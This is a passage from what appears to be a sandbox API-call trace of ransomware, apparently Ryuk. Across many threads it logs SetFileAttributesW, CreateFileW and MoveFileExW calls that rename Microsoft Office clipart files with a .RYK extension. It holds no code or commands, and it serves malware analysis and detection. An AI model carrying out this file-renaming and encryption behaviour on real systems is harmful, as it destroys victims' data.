	[0253.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF", dwFileAttributes=0x80) returned 0
	[0254.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.093] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.093] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3313
	os_tid = 0x398c

	[0253.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF", dwFileAttributes=0x80) returned 0
	[0254.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.094] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.094] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3314
	os_tid = 0x3990

	[0253.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF", dwFileAttributes=0x80) returned 0
	[0254.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.123] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.123] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3316
	os_tid = 0x399c

	[0253.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF", dwFileAttributes=0x80) returned 0
	[0254.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.122] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.122] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3317
	os_tid = 0x39a0

	[0253.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF", dwFileAttributes=0x80) returned 0
	[0254.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.121] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.121] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3318
	os_tid = 0x39a4

	[0253.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF", dwFileAttributes=0x80) returned 0
	[0254.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.120] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.120] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3319
	os_tid = 0x39a8

	[0253.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF", dwFileAttributes=0x80) returned 0
	[0254.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.119] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.119] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3320
	os_tid = 0x39ac

	[0253.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF", dwFileAttributes=0x80) returned 0
	[0254.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.117] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.117] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3321
	os_tid = 0x39b0

	[0253.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF", dwFileAttributes=0x80) returned 0
	[0254.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.116] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.116] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3322
	os_tid = 0x39b4

	[0253.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF", dwFileAttributes=0x80) returned 0
	[0254.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.115] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.115] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3323
	os_tid = 0x39b8

	[0253.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF", dwFileAttributes=0x80) returned 0
	[0254.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.114] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.114] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3324
	os_tid = 0x39bc

	[0253.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF", dwFileAttributes=0x80) returned 0
	[0254.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.113] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.113] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3325
	os_tid = 0x39c0

	[0253.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF", dwFileAttributes=0x80) returned 0
	[0254.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.112] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.112] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3326
	os_tid = 0x39c4

	[0253.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF", dwFileAttributes=0x80) returned 0
	[0254.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.111] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.111] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3327
	os_tid = 0x39c8

	[0253.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF", dwFileAttributes=0x80) returned 0
	[0254.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.110] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.110] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3328
	os_tid = 0x39cc

	[0253.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF", dwFileAttributes=0x80) returned 0
	[0254.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.109] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.109] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3329
	os_tid = 0x39d0

	[0254.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF", dwFileAttributes=0x80) returned 0
	[0254.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.108] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.108] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3331
	os_tid = 0x39e4

	[0254.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF", dwFileAttributes=0x80) returned 0
	[0254.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.107] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.107] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3332
	os_tid = 0x39e8

	[0254.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF", dwFileAttributes=0x80) returned 0
	[0254.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.337] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3333
	os_tid = 0x39ec

	[0254.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF", dwFileAttributes=0x80) returned 0
	[0254.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.572] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.573] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3334
	os_tid = 0x39f0

	[0254.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF", dwFileAttributes=0x80) returned 0
	[0254.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.105] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.105] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3335
	os_tid = 0x39f4

	[0254.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF", dwFileAttributes=0x80) returned 0
	[0254.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.574] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.574] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3336
	os_tid = 0x39f8

	[0254.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF", dwFileAttributes=0x80) returned 0
	[0254.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.575] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.575] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3337
	os_tid = 0x39fc

	[0254.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID", dwFileAttributes=0x80) returned 0
	[0254.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.102] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.102] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3338
	os_tid = 0x3a00

	[0254.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID", dwFileAttributes=0x80) returned 0
	[0254.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.101] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0254.101] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3339
	os_tid = 0x3a04

	[0254.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF", dwFileAttributes=0x80) returned 0
	[0254.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0254.576] CloseHandle (hObject=0xffffffffffffffff) returned 0
